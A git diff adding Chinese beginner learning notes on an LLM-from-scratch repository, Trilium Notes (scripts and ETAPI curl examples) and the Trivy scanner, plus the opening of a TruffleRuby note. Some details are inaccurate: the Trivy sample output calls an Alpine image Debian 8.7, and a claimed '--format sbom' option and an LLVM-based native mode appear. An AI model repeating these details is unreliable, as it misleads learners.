+- **Reward Model（奖励模型）**：给模型两份答案，教它判断哪个更好
+- **PPO / DPO**：用奖励信号继续优化，让回答更高质量
+- **GRPO**：Group Relative Policy Optimization，新版对齐算法
+
+整个流程从零手写，没有调任何第三方对齐库。
+
+## 实践流程
+
+### 快速上手：训练一个 13M 参数的模型
+
+```bash
+git clone https://github.com/FareedKhan-dev/train-llm-from-scratch.git
+cd train-llm-from-scratch
+export PYTHONPATH="$PYTHONPATH":.
+pip install -r requirements.txt
+
+# 1. 下载数据（一份约 11GB，可以只下 00.jsonl.zst）
+python scripts/data_download.py
+
+# 2. 预处理：解压 + 分词 + 存 HDF5
+python scripts/data_preprocess.py
+
+# 3. 训练（config/config.py 里改参）
+python scripts/train_transformer.py
+
+# 4. 生成文本
+python scripts/generate_text.py --model_path models/your_model.pth --input_text hi
+```
+
+13M 模型在一个普通 GPU（如 RTX 3080）上一天就能跑完，输出示例：
+
+```
+In 1978, The park was returned to the factory-plate that 
+the public share to the lower of the electronic fence that 
+follow from the Station's cities.
+```
+
+语法正确，语义模糊——这就是模型在**先学结构、后学内容**的必经阶段。
+
+## 踩过的坑
+
+1. **`PYTHONPATH` 必须加**：仓库的 import 路径是相对根目录的，不加 `export PYTHONPATH="$PYTHONPATH":.` 就会 `ModuleNotFoundError`。
+
+2. **数据预处理很慢**：Pile 每份文件 11GB，zstd 解压 + tiktoken 分词 + HDF5 写入，全跑完可能要几个小时。`--max_data` 参数可以限制处理条数来做快速验证。
+
+3. **`config/config.py` 改完要重启**：训练脚本读取配置时是启动时一次性读的，改完配置不改代码就 `python scripts/train_transformer.py`，不要在代码里 `import config` 后在另一段改值。
+
+4. **生成文本时 `<|endoftext|>` 的处理**：`generate_text.py` 的输入 prompt 需要模型见过的 token，如果提示词包含非常见的符号（如 `#` 或 `！`），生成结果会质量很差。
+
+5. **显存不够不要硬跑大模型**：13M 参数在 RTX 5090 上仅占 ~0.67GB，但 3B 参数在 A100 上也需要 40GB 以上。先看 README 里的 GPU 对照表再选配置。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 想从零理解 Transformer 每一行代码怎么写的学习者
+- 需要"可读性 > 开箱即用"的研究者——每个模块都是几百行的独立文件
+- 手上有少量 GPU、想先跑通小模型再逐步放大
+- 想学习 SFT / DPO / PPO 从零怎么实现
+
+**不适用**：
+
+- 只想微调一个模型、不想碰底层代码 → 用 HuggingFace `transformers` + `trl`
+- 需要生产级性能 / 分布式训练优化 → 用 DeepSpeed / Megatron-LM
+- 没有 GPU → 即使是 13M 模型也推荐有 GPU，Colab T4 可以起步
+
+## 学到什么
+
+1. **注意力不玄学**——`q @ k.transpose(-2, -1)` 就是"用问题匹配答案"的向量乘法，所有花哨的 Multi-Head、LayerNorm、残差连接都是围绕这一核心公式的工程优化。
+
+2. **模型越小越容易上手**——13M 参数的模型一天就能训练完毕，输出语法正确的句子。先跑通小模型，再逐步放大到 130M、1B、3B，这是最踏实的学习路径。
+
+3. **训练 = 数据 + 架构 + 损失函数**——数据决定了"模型能学到什么"，架构决定了"模型怎么组织这些信息"，损失函数（交叉熵）决定了"模型怎么知道自己对不对"。
+
+4. **后训练是对齐的灵魂**——预训练模型只是"读过书"，SFT 教它"怎么答题"，DPO 教它"判断好坏"，GRPO 教它"持续进步"。没有对齐，LLM 只是一个文本生成器。
+
+5. **从零手写的价值**——用 `transformers` 库调参 10 次，不如从 `nn.Linear` 开始写一遍一遍注意力。后者让你在任何新场景下都能"自己造轮子"。
+
+6. **工程选型：HDF5 + zstd**——原始 JSONL 解压太慢，直接全部载入内存会爆。分块解压、流式分词、用 HDF5 做可随机访问的存储，这是处理大规模语料的标准姿势。
+
+## 延伸阅读
+
+- 原始论文：[Attention Is All You Need](https://arxiv.org/abs/1706.03762) —— Transformer 的诞生论文
+- 项目官方文档：[docs/README.md](https://github.com/FareedKhan-dev/train-llm-from-scratch/blob/main/docs/README.md) —— 手绘图 + 理论解释
+- 后训练指南：[POST_TRAINING.md](https://github.com/FareedKhan-dev/train-llm-from-scratch/blob/main/POST_TRAINING.md) —— SFT → DPO → GRPO 完整管线
+- Streamlit 交互面板：`streamlit run ui/app.py` —— 有训练、评测、对话界面的可视化控制
+- [[pytorch]] —— 本项目完全建立在 PyTorch 之上
+- [[various-llm-smells]] —— 大型模型项目中的常见陷阱
+
+## 关联
+
+- [[pytorch]] —— 本项目唯一的深度学习框架，所有张量 / autograd / nn 模块都来自它
+- [[trl]] —— 同样做 SFT/DPO/RLHF，但 trl 是封装好的库，本项目从零手写对照
+- [[deepspeed]] —— 本项目 13M 单卡可跑，Deepspeed 解决的是"10B 以上多卡怎么并行"
+- [[fastai]] —— fastai 教你"开车"，这个项目教你"造车"
diff --git a/src/content/docs/projects/trilium.md b/src/content/docs/projects/trilium.md
new file mode 100644
index 000000000..7f0c14424
--- /dev/null
+++ b/src/content/docs/projects/trilium.md
@@ -0,0 +1,280 @@
+---
+title: Trilium — 树形层级笔记系统
+来源: https://github.com/zadam/trilium
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 日常类比：把个人知识库做成一棵「永远可展开的书架」
+
+想象你在整理一间私人图书馆：不是按文件夹名 `2024/项目/会议.md` 归档，而是给每本书、每张便签都挂在一个 **可无限分叉的书架节点** 上。某本《缓存设计》可以同时出现在「后端架构」和「面试复习」两个分支下——读者从任一入口都能翻到同一本书，改一处内容，两处同步更新。
+
+**Trilium Notes** 就是这样一棵 **树形层级笔记系统**（[zadam/trilium](https://github.com/zadam/trilium)，社区延续版 [TriliumNext/Trilium](https://github.com/TriliumNext/Trilium)）：每个节点是一则 **Note（笔记）**，节点之间通过 **Branch（分支）** 组成父子树；同一则笔记可被 **克隆（Clone）** 到多个父节点下，而不复制正文。笔记存进本地 **SQLite** 数据库，桌面端单机可用，也可搭 **自托管同步服务器** 在多设备间同步；进阶用户还能用 **JavaScript 脚本** 和 **ETAPI（REST）** 把 Trilium 变成可编程的个人知识操作系统。
+
+零基础路径：**安装桌面版 → 在根节点下建子笔记 → 试克隆与属性 → 全文搜索 → 了解同步与备份**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：文件夹只能「单路径归档」，跨主题材料难复用
+
+项目笔记、读书笔记、代码片段常同时属于多个主题。Trilium 的 **克隆** 让一条笔记在树上出现多次，**内容只有一份**；改标题或正文，所有挂载点一起更新。这比复制文件到多个目录更符合真实思维的多入口结构。
+
+### 痛点 2：笔记一多，纯文件系统性能与功能都吃力
+
+官方文档说明：为支持克隆、关系图、版本历史等特性，并保证 **十万级笔记** 仍流畅，数据放在 **SQLite** 而非散落的 `.md` 文件（可用导出 Markdown/HTML 做互操作）。性能与功能之间做了明确取舍：**本地优先 + 数据库 + 可选同步**。
+
+### 痛点 3：富文本、代码、导图、表格混在一套系统里
+
+除 WYSIWYG **Text** 笔记外，还有 **Code**（含语法高亮）、**Canvas**（Excalidraw 手绘）、**Mermaid**、**Mind map**、**Geo map**、**Saved Search**、**Render Note** 等类型。一篇技术调研可以在同一棵树里放正文、脚本、关系图，而不必在 Notion + VS Code + draw.io 之间来回跳。
+
+### 痛点 4：需要可扩展，而不只是「写字」
+
+Trilium 内置 **前后端 JavaScript 运行时**：前端脚本可改工具栏、侧边栏；后端脚本可定时任务、批量改笔记。对外还有 **ETAPI** 供 curl、Python、CI 读写笔记——适合把 Trilium 接入自动化工作流。
+
+---
+
+## 核心概念拆解
+
+### 1. Note（笔记）——实体本身
+
+每条笔记有 **标题**、**内容**、**类型**（text、code、file、canvas…）。**Note 不携带「在树的哪里」的信息**；位置由 Branch 表达。没有专门的「文件夹类型」——**任何笔记都可以有子笔记**，既是「文件」也是「目录」。
+
+### 2. Branch（分支）——树上的挂载边
+
+Branch 连接 **父笔记 ID** 与 **子笔记 ID**，还可带 **prefix**（子节点在 UI 上的排序前缀）。删除分支只是去掉一种挂载关系；若笔记再无其他分支且被标记删除，才进入软删除流程。
+
+### 3. Clone（克隆） vs Copy（复制）
+
+| 操作 | 内容 | 树结构 | 典型用途 |
+|------|------|--------|----------|
+| **Clone** | 共享同一 noteId | 多父节点各有一条 branch | 同一概念出现在「工作」「学习」两区 |
+| **Copy** | 新建独立 note | 新子树 | 基于模板分叉、互不影响的副本 |
+
+入门时记住：**克隆 = 多个书架位置指向同一本书**。
+
+### 4. Root note 与 Workspace
+
+整棵树有一个 **root note**。**Workspace** 可把树的一部分「聚焦」展示（例如只显示工作相关子树），减少日常导航噪音，适合个人/工作笔记分区。
+
+### 5. Attributes（属性）：Label 与 Relation
+
+- **Label**：键值标签，如 `#status=done`、`#priority=high`。系统内置 `#run=frontendStartup` 等，用于脚本生命周期。
+- **Relation**：笔记之间的有向链接，如 `#author` 指向另一则笔记，可配合 **Promoted attributes** 在表格/看板里结构化展示。
+- **Saved Search**：把搜索条件存成笔记，结果动态刷新——类似「智能文件夹」。
+
+### 6. 架构：前端 + 后端（经典 Web 应用）
+
+| 层 | 运行环境 | 职责 |
+|----|----------|------|
+| **Frontend** | 桌面壳内嵌浏览器 / 浏览器访问 Server | UI、编辑、部分脚本 |
+| **Backend** | Node.js | 持久化、加密、同步、ETAPI、后端脚本 |
+
+创建笔记、写库必须在 **backend** 完成；前端脚本通过 `api.runOnBackend()` 委托。理解这一 split，是写 Trilium 脚本不踩坑的关键。
+
+### 7. 同步、加密与删除
+
+- **同步**：自托管 Server 或多设备通过同一实例同步 SQLite 变更；移动端可用 PWA 或第三方客户端（如 iOS 的 Trinote 连接自建服务）。
+- **加密**：支持 **按笔记粒度** 加密，适合存凭证或敏感日记。
+- **软删除**：删除后默认 **7 天内** 可在「Recent Changes」里 **Undelete**；过期后内容才会被擦除（仍建议定期 **Backup**）。
+
+### 8. 搜索
+
+- **标题跳转**：模糊匹配，快速 `Go to note`。
+- **全文搜索**：可限定父笔记、深度等（官方 Advanced Search 语法）。
+- 与 Saved Search、脚本 API 的 `searchForNotes()` 可组合，做个人 CRM、任务看板等。
+
+### 9. Trilium 不是什么
+
+它不是 Git 友好的「一笔记一 md 文件」仓库（虽然能导出）；不是多人实时协作文档（共享以 **发布/分享** 只读页面为主）；也不是块级双链大纲（那是 Logseq / Roam 的主场）。Trilium 的强项是 **深树 + 克隆 + 属性 + 脚本 + 大规模单库**。
+
+---
+
+## 安装与第一次打开
+
+### 桌面端（推荐零基础）
+
+1. 从 [TriliumNext Releases](https://github.com/TriliumNext/Trilium/releases) 或原仓库 [zadam/trilium Releases](https://github.com/zadam/trilium/releases) 下载对应平台安装包。
+2. 首次启动即创建本地数据库（数据目录可在 **About** 窗口查看，一般为应用配置目录下的 SQLite 文件）。
+3. 在 root 下 **Create note** → 选 **Text**，写第一则笔记；对其 **Create child note** 体会树形结构。
+4. 右键某笔记 → **Clone to…** 挂到第二个父节点，观察两处编辑同步。
+5. 打开 **Recent changes**，熟悉软删除与恢复入口。
+
+### 自托管 Server（可选，多设备）
+
+1. 使用 Docker 或官方文档部署 Trilium Server。
+2. 桌面端 **Options → Sync** 配置服务器 URL 与凭证。
+3. 浏览器访问同一 Server 亦可编辑（注意 HTTPS 与认证）。
+
+入门阶段 **只跑桌面单机** 即可；同步与 ETAPI 可在树超过几百则后再学。
+
+---
+
+## 代码示例 1：前端启动脚本 —— 工具栏「一键新建子笔记」
+
+下列脚本摘自官方 [New Task launcher button](https://docs.triliumnotes.org/user-guide/scripts/frontend-basics/examples/new-task-button) 模式，改为在 **当前活动笔记** 下创建带日期的子笔记（适合日记/项目日志）。
+
+**步骤：**
+
+1. 新建 **Code** 笔记，语言选 **JavaScript (frontend)**。
+2. 在 **Attributes** 添加 label：`#run=frontendStartup`（Trilium 每次启动前端时自动执行）。
+3. 粘贴代码并重启应用。
+
+```javascript
+// 语言：JavaScript (Trilium frontend)
+// 属性：#run=frontendStartup
+
+api.addButtonToToolbar({
+    title: "今日子笔记",
+    icon: "calendar",
+    shortcut: "alt+d",
+    action: async () => {
+        const activeNote = await api.getActiveTabNote();
+        if (!activeNote) {
+            api.showMessage("请先打开一个父笔记");
+            return;
+        }
+
+        const newNoteId = await api.runOnBackend(async (parentNoteId) => {
+            const title = api.dayjs().format("YYYY-MM-DD");
+            const { note } = await api.createTextNote(parentNoteId, title, "");
+            // 给新笔记打标签，便于 Saved Search 汇总
+            note.addLabel("dateNote", title);
+            return note.noteId;
+        }, [activeNote.noteId]);
+
+        await api.waitUntilSynced();
+        await api.activateNewNote(newNoteId);
+    }
+});
+```
+
+**阅读要点：**
+
+- `addButtonToToolbar` 在启动栏增加按钮；`icon` 使用 [Boxicons](https://boxicons.com/) 名（不含 `bx-` 前缀）。
+- `runOnBackend` 内的代码在 **Node 后端** 执行——**创建笔记必须在这里**。
+- `waitUntilSynced` + `activateNewNote` 保证 UI 已收到新 note 再跳转。
+- `#run=frontendStartup` 是系统 label；移动端需改用 `#run=mobileStartup`。
+
+---
+
+## 代码示例 2：ETAPI —— 用 HTTP 自动写入笔记
+
+[ETAPI](https://docs.triliumnotes.org/developer-guide/architecture/api) 是面向第三方的 REST 接口，使用 **Token 认证**（在 Trilium **Options → ETAPI** 创建）。适合 cron、Obsidian 迁移脚本、CI 把构建日志写入知识库。
+
+**创建一则文本笔记（curl）：**
+
+```bash
+# 环境变量
+export TRILIUM_URL="https://trilium.example.com"
+export ETAPI_TOKEN="your-etapi-token-here"
+export PARENT_NOTE_ID="root"   # 或具体父笔记 ID
+
+curl -sS -X POST "${TRILIUM_URL}/etapi/notes" \
+  -H "Authorization: ${ETAPI_TOKEN}" \
+  -H "Content-Type: application/json" \
+  -d "{
+    \"parentNoteId\": \"${PARENT_NOTE_ID}\",
+    \"title\": \"部署记录 2026-06-13\",
+    \"type\": \"text\",
+    \"content\": \"<p>CI 构建 #482 已通过，镜像 tag: <code>v1.2.3</code></p>\"
+  }"
+```
+
+**按标题搜索笔记 ID：**
+
+```bash
+curl -sS -G "${TRILIUM_URL}/etapi/notes" \
+  -H "Authorization: ${ETAPI_TOKEN}" \
+  --data-urlencode "search=#deployRecord" \
+  | jq '.[0].noteId'
+```
+
+**阅读要点：**
+
+- Text 笔记 `content` 多为 **HTML** 片段（与编辑器内部表示一致）。
+- 搜索参数语法与 UI 高级搜索相通，可配合 label/relation 过滤。
+- 自托管时务必 **HTTPS + 强 Token**；ETAPI 权限等同登录用户，勿把 Token 提交进 Git。
+
+---
+
+## 代码示例 3：Saved Search 笔记 —— 用属性做「动态任务列表」
+
+不必写代码也能做结构化视图：建一则 **Saved Search** 类型笔记，内容填搜索表达式，Trilium 会把匹配笔记列为子结果（具体语法见官方 Search 文档）。
+
+```text
+#status = open
+#priority >= 2
+note.type = text
+orderBy #priority desc
+```
+
+配合 Task Manager 等 **Advanced Showcases**（安装包内置示例树），可看到 label、relation、模板笔记如何组成简易看板。零基础可先手动给任务笔记加 `#status=open`，再建 Saved Search 验证筛选。
+
+---
+
+## 推荐笔记树结构（零基础 7 天）
+
+| 天 | 动作 | 目标 |
+|----|------|------|
+| 1 | 在 root 下建 `Inbox` 与 `Archive` | 理解父子树 |
+| 2 | 把一条笔记 **Clone** 到第二个父节点 | 理解共享内容 |
+| 3 | 给笔记加 `#topic=xxx` label | 熟悉属性面板 |
+| 4 | 试 **Hoist note**（聚焦子树） | 大库导航 |
+| 5 | 建 Saved Search 汇总带 `#status=open` 的笔记 | 动态列表 |
+| 6 | 导出子树为 Markdown 备份 | 互操作与逃生 |
+| 7 | Options 里做一次 **Backup** 并记录数据目录 | 数据安全感 |
+
+---
+
+## 与相近工具对比（简表）
+
+| 维度 | Trilium | Logseq | Joplin |
+|------|---------|--------|--------|
+| 核心结构 | 深树 + 克隆 | 块大纲 + 双链 | 笔记本/笔记列表 |
+| 存储 | SQLite | 本地 md/org | 数据库/文件 |
+| 脚本扩展 | JS 前后端 + ETAPI | 插件 API | 插件 |
+| 块级引用 | Relation / 链接 | `((block-id))` | 较弱 |
+| 自托管同步 | ✅ Server | 有限/第三方 | ✅ Joplin Server |
+| 适合 | 超大单库、树+脚本 | 日记+双链图谱 | 加密同步、移动端 |
+
+若你从 Evernote 迁移，可用内置 **ENEX 导入**；从 Markdown 文件夹来则可用导入向导或 ETAPI 批量写入。
+
+---
+
+## 常见问题
+
+**Q：Note 和 Branch 为什么要分开？**  
+同一则笔记（Note）可被多条 Branch 挂到不同父下（克隆）；改 Note 一次，所有 Branch 展示点同步更新。
+
+**Q：数据存在哪？怎么备份？**  
+本地 SQLite 在应用数据目录（**Help → About** 可见路径）。定期用 **File → Backup database**，并把备份文件放到网盘或 Git LFS 之外的安全存储。
+
+**Q：zadam/trilium 和 TriliumNext 是什么关系？**  
+原作者 [zadam/trilium](https://github.com/zadam/trilium) 后由社区 [TriliumNext/Trilium](https://github.com/TriliumNext/Trilium) 继续维护，文档站点 [docs.triliumnotes.org](https://docs.triliumnotes.org) 以 Next 为主。学习概念两者一致，安装时选活跃发行版即可。
+
+**Q：能和纯 Markdown 工作流共存吗？**  
+可以 **导出/导入 Markdown**，日常在 Trilium 内编辑；需要 Git diff 时对导出目录做版本管理，或只用 Trilium 做「主编库」、定期导出快照。
+
+**Q：脚本写错了会怎样？**  
+错误脚本可能导致启动栏异常；可在安全模式或数据库备份恢复后，删除问题 Code 笔记上的 `#run=frontendStartup` label。
+
+---
+
+## 延伸资源
+
+- 用户指南：[docs.triliumnotes.org](https://docs.triliumnotes.org)
+- 脚本 API（前端）：[Script API — Frontend](https://docs.triliumnotes.org/script-api/frontend/)
+- 脚本 API（后端）：[Script API — Backend](https://docs.triliumnotes.org/script-api/backend/)
+- 架构与 ETAPI：[Developer Guide — API](https://docs.triliumnotes.org/developer-guide/architecture/api)
+- 官网特性概览：[triliumnotes.org](https://triliumnotes.org)
+- 社区仓库：[TriliumNext/Trilium](https://github.com/TriliumNext/Trilium)
+
+---
+
+## 小结
+
+Trilium 把个人知识库建模为一棵 **可无限加深、可克隆复用** 的笔记树：Note 存内容，Branch 定位置，Label/Relation 加结构，Saved Search 做动态视图。SQLite 换性能与克隆语义，JavaScript 与 ETAPI 则把「写作工具」升级为 **可脚本化的本地知识服务**。零基础从桌面版建树、克隆、属性开始；当笔记上万或需要跨设备同步时，再叠加 Server、脚本与 API——这正是「树形层级笔记系统」区别于普通 Markdown 文件夹的核心价值。
diff --git a/src/content/docs/projects/trivy-aquasec.md b/src/content/docs/projects/trivy-aquasec.md
new file mode 100644
index 000000000..a2a059759
--- /dev/null
+++ b/src/content/docs/projects/trivy-aquasec.md
@@ -0,0 +1,191 @@
+---
+title: Trivy 零基础学习笔记
+来源: https://github.com/aquasecurity/trivy
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# Trivy 零基础学习笔记
+
+## 什么是 Trivy？
+
+想象一下，你买了一栋房子（你的软件项目），里面有很多房间（不同的组件和依赖库）。Trivy 就像一个专业的房屋安全检查员，它会一间一间地检查：墙壁有没有裂缝（漏洞）、电线有没有乱拉（配置错误）、有没有陌生人留下的钥匙（泄露的密钥）、还有房子里到底有哪些家具（软件清单）。
+
+Trivy 是由 Aqua Security 开发的开源安全扫描工具，用 Go 语言编写。它的名字读音是 "tri-vy"（tri 像 trigger，vy 像 envy）。
+
+核心一句话：**Trivy 在一个工具里帮你发现漏洞、配置错误、泄露密钥和生成软件清单。**
+
+## 核心概念
+
+### 两个维度：Target（扫描目标）和 Scanner（扫描器）
+
+这是理解 Trivy 最关键的概念。你可以把它想象成两件事：
+
+1. **你在哪里找问题？**（Target）—— 容器镜像、文件系统、Kubernetes 集群、Git 仓库、虚拟机镜像
+2. **你找什么问题？**（Scanner）—— 已知漏洞（CVE）、配置错误、泄露密钥、许可证合规
+
+用公式表达就是：
+
+```
+trivy <target> [--scanners <scanner1,scanner2>] <subject>
+```
+
+### 支持的扫描目标（Target）
+
+- **Container Image**：Docker 容器镜像
+- **Filesystem**：本地文件系统目录
+- **Repository**：远程 Git 仓库
+- **Virtual Machine Image**：虚拟机镜像
+- **Kubernetes**：K8s 集群
+
+### 支持的扫描器（Scanner）
+
+- **Vuln**：检测操作系统包和编程语言依赖中的已知漏洞（CVE）
+- **Misconfiguration**：检测 IaC（基础设施即代码）的配置错误，比如 Terraform、Dockerfile、Kubernetes YAML
+- **Secret**：检测代码中意外提交的密钥、密码、API Token
+- **License**：检测软件许可证合规问题
+- **SBOM**：生成软件物料清单（就是告诉你"你这个项目里到底用了哪些东西"）
+
+### 漏洞数据来源
+
+Trivy 不会凭空猜漏洞，它连接多个权威数据库：
+
+- **操作系统层面**：Debian OVAL、Ubuntu CVE Tracker、Red Hat OVAL、Alpine secdb 等
+- **编程语言层面**：GitHub Advisory Database（npm、pip、RubyGems、Maven 等）、Go Vulnerability Database
+- **严重级别**：优先采用厂商评分（比如 Red Hat 的评分比 NVD 更准确），因为厂商知道自己怎么打包和修补了软件
+
+### 精确模式 vs 全面模式
+
+Trivy 提供两种检测优先级：
+
+- **`precise`（精确）**：优先减少误报，可能漏掉一些潜在漏洞
+- **`comprehensive`（全面）**：优先减少漏报，可能产生一些误报
+
+默认是 `precise`。
+
+## 安装
+
+```bash
+# macOS
+brew install trivy
+
+# 或者用 Docker
+docker run aquasec/trivy --version
+```
+
+## 代码示例
+
+### 示例 1：扫描 Docker 镜像中的漏洞
+
+这是最常见的用法。假设你要发布一个 Python 应用，先用 Trivy 看看基础镜像安不安全：
+
+```bash
+# 扫描一个 Docker 镜像，自动检测操作系统包和语言依赖的漏洞
+trivy image python:3.4-alpine
+
+# 输出示例：
+# python:3.4-alpine (debian 8.7)
+# ===============================
+# Total: 7 (UNKNOWN: 0, LOW: 1, MEDIUM: 1, HIGH: 3, CRITICAL: 2)
+#
+# +---------+------------------+----------+-------------------+---------------+----------------------------------+
+# | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION |              TITLE               |
+# +---------+------------------+----------+-------------------+---------------+----------------------------------+
+# | curl    | CVE-2018-14618   | CRITICAL | 7.61.0-r0         | 7.61.1-r0     | curl: NTLM password overflow     |
+# | git     | CVE-2018-17456   | HIGH     | 2.15.2-r0         | 2.15.3-r0     | git: arbitrary code execution    |
+# | libssh2 | CVE-2019-3855    | CRITICAL | 1.8.0-r2          | 1.8.1-r0      | libssh2: Integer overflow        |
+# +---------+------------------+----------+-------------------+---------------+----------------------------------+
+```
+
+可以看到，Trivy 自动识别出这是一个基于 Debian 8.7 的 Alpine 镜像，列出了每个漏洞的库名、CVE 编号、严重程度、当前版本和修复版本。
+
+如果想只看高危和严重级别的漏洞：
+
+```bash
+trivy image --severity HIGH,CRITICAL python:3.4-alpine
+```
+
+### 示例 2：扫描本地项目目录（漏洞 + 密钥 + 配置错误）
+
+假设你有一个项目文件夹，想一次性检查三件事：代码里有没有泄露密钥、配置文件有没有写错、依赖有没有漏洞：
+
+```bash
+# 同时扫描漏洞、密钥泄露和配置错误
+trivy fs --scanners vuln,secret,misconfig myproject/
+```
+
+### 示例 3：只扫描操作系统层面的漏洞，忽略语言依赖
+
+有些时候你只想看操作系统的包安不安全，不想看 npm 或 pip 的依赖：
+
+```bash
+# 只扫描 OS 包
+trivy image --pkg-types os ruby:2.4.0
+```
+
+### 示例 4：生成 SBOM（软件物料清单）
+
+SBOM 就是告诉你"你这个软件里到底包含了哪些组件"，就像汽车出厂时的零件清单。这在企业合规中越来越重要：
+
+```bash
+# 为 Docker 镜像生成 SBOM，输出为 JSON 格式
+trivy image --format sbom --output sbom.json python:3.4-alpine
+
+# 也可以输出为 CycloneDX 格式（工业标准）
+trivy image --format cyclonedx --output sbom.json python:3.4-alpine
+```
+
+### 示例 5：扫描 Kubernetes 集群
+
+在 K8s 环境中，Trivy 可以扫描整个集群的安全状况：
+
+```bash
+# 扫描整个 Kubernetes 集群的镜像漏洞
+trivy k8s --report summary cluster
+
+# 输出类似：
+# TARGET                TYPE  VULNS  MISCONFIG  SECRET
+# nginx-deployment      image  3
+# redis-statefulset     image  1
+# postgres-deployment   image  0
+```
+
+### 示例 6：将结果导出为 JSON 报告
+
+把扫描结果保存下来，方便后续处理或集成到 CI/CD 流水线中：
+
+```bash
+# 扫描并输出 JSON 格式的报告
+trivy image --format json --output result.json node:18-alpine
+
+# 只输出严重级别为 HIGH 及以上的结果
+trivy image --format json --severity HIGH,CRITICAL --output result.json node:18-alpine
+```
+
+## 关键特性总结
+
+1. **一个工具，多种扫描**——不需要分别装漏洞扫描器、密钥扫描器、配置检查器
+2. **支持几乎所有主流平台**——操作系统（Debian、Ubuntu、RHEL、Alpine 等）和编程语言（Python、Node.js、Go、Rust、Java 等）
+3. **自动更新漏洞数据库**——首次运行会自动下载最新的 CVE 数据库，之后每次运行也会检查更新
+4. **CI/CD 友好**——可以输出 JSON 格式结果，轻松集成到 GitHub Actions、GitLab CI、CircleCI 等流水线
+5. **GitHub Actions 集成**——官方提供了 `aquasecurity/trivy-action`，一行就能在 CI 中加入安全扫描
+6. **Kubernetes Operator**——通过 `trivy-operator` 可以在 K8s 中持续监控镜像安全
+7. **支持离线扫描**——可以手动下载数据库放到内网环境使用（Air-Gap）
+
+## 常见使用场景
+
+| 场景 | 命令 |
+|------|------|
+| 检查 Docker 镜像漏洞 | `trivy image <image>` |
+| 检查本地项目 | `trivy fs --scanners vuln,secret <dir>` |
+| 检查 Git 仓库 | `trivy repo <repo-url>` |
+| 检查 K8s 集群 | `trivy k8s --report summary cluster` |
+| 生成软件清单 | `trivy image --format sbom --output sbom.json <image>` |
+| 检查 Terraform 配置 | `trivy fs --scanners misconfig terraform-dir/` |
+| 检查 VM 镜像 | `trivy vm --format json <image-file>` |
+
+## 下一步
+
+Trivy 还有很多高级功能，比如自定义 Rego 策略检查、VEX（漏洞交换格式）、供应链签名等。这些概念有一定门槛，建议先把上面这些基础用法用熟练了，再逐步深入。
diff --git a/src/content/docs/projects/truffleruby.md b/src/content/docs/projects/truffleruby.md
new file mode 100644
index 000000000..7ad1357d4
--- /dev/null
+++ b/src/content/docs/projects/truffleruby.md
@@ -0,0 +1,224 @@
+---
+title: TruffleRuby — GraalVM 上的 Ruby
+来源: https://github.com/oracle/truffleruby
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# TruffleRuby — GraalVM 上的 Ruby
+
+## 从生活场景理解
+
+假设你有一辆丰田汽车（这叫 MRI Ruby，即 Ruby 的官方实现，C 语言写的，跑了几十年）。
+
+现在有人造了一辆性能更强的车，发动机原理完全不同——它不用传统活塞，而是用一种叫 GraalVM 的新型引擎技术——但开起来还是 Toyota 的品牌、挂挡方式、方向盘位置完全一样。
+
+TruffleRuby 就是这样一辆车：换了一种底层引擎实现，但 Ruby 代码不用改，照样能跑，而且跑得更快。
+
+## 它是什么
+
+TruffleRuby 是 Oracle 维护的一个 Ruby 实现，建立在 GraalVM 之上。
+
+GraalVM 是 Oracle 的一个"多语言运行时平台"。你可以把它想象成一个万能翻译官：同一个房间里，说中文的、说英文的、说法语的人可以无障碍交流。GraalVM 让 Ruby、Java、Python、JavaScript、WebAssembly 等不同语言在同一进程内共存和互相调用。
+
+TruffleRuby 就是这个平台上的"Ruby 翻译官 + 引擎"。
+
+## 核心概念
+
+### 概念 1：JIT 编译器
+
+传统解释器是一行一行读代码、一行一行执行。JIT（Just-In-Time）编译器会在程序运行时，把经常跑到的代码"提前编译成机器码"，后续再跑直接执行机器码，不用每次都解释。
+
+MRI 也有 JIT（从 Ruby 3.0 开始），但 TruffleRuby 的 JIT 能力更强——它在 GraalVM 的 Truffle 框架上构建了整套编译器优化基础设施。
+
+### 概念 2：无全局解释器锁（GIL）
+
+MRI Ruby 有一个"GIL"（Global Interpreter Lock），同一时刻只允许一个线程跑 Ruby 代码。这意味着多核 CPU 在 MRI 下只能用到一个核心来跑 Ruby。
+
+TruffleRuby 没有 GIL，多个 Ruby 线程可以同时跑在不同核心上。只要你的 C 扩展也是线程安全的，就能充分利用多核。
+
+### 概念 3：两种运行模式
+
+TruffleRuby 有两套"包装"：
+
+- **Native 模式**（默认）：用 LLVM 把代码编译成本地机器码。启动速度快，接近 MRI，峰值性能也不错。
+- **JVM 模式**（`--jvm`）：运行在 Java 虚拟机上。启动稍慢、最终性能更强，而且跟 Java 互操作最顺畅。
+
+### 概念 4：多语言互通（Polyglot）
+
+这是 TruffleRuby 最独特也最核心的卖点：它可以在 Ruby 代码里直接调用 Python 代码、JavaScript 代码、Java 类，反之亦然。
+
+### 概念 5：版本对齐
+
+TruffleRuby 的版本号 `AB.C.D` 对应 CRuby `A.B`。比如 TruffleRuby 34.0.0 对标 CRuby 3.4。这样可以保持语义化版本控制。
+
+## 代码示例
+
+### 示例 1：基本 Ruby 代码
+
+TruffleRuby 和 MRI 的 Ruby 代码 100% 兼容，下面是最基本的 Ruby：
+
+```ruby
+# 定义一个类
+class Counter
+  def initialize
+    @count = 0
+  end
+
+  def increment
+    @count += 1
+    @count
+  end
+end
+
+# 使用
+counter = Counter.new
+3.times { puts counter.increment }
+# 输出:
+# 1
+# 2
+# 3
+```
+
+这段代码在 MRI 和 TruffleRuby 上一模一样地运行。
+
+### 示例 2：多线程并行计算（展示无 GIL 优势）
+
+```ruby
+require 'parallel'
+
+# 定义一个计算密集型任务
+def sum_of_squares(n)
+  total = 0
+  i = 1
+  while i <= n
+    total += i * i
+    i += 1
+  end
+  total
+end
+
+# 在多个线程上同时运行
+threads = 4.times.map do |i|
+  Thread.new do
+    result = sum_of_squares(10_000_000)
+    puts "线程 #{i} 结果: #{result}"
+  end
+end
+
+threads.each(&:join)
+```
+
+在 MRI 上，这四个线程仍然受 GIL 限制，同一时间只有一个真的在跑 CPU。在 TruffleRuby 上，这四个线程真正并行，充分利用多核。
+
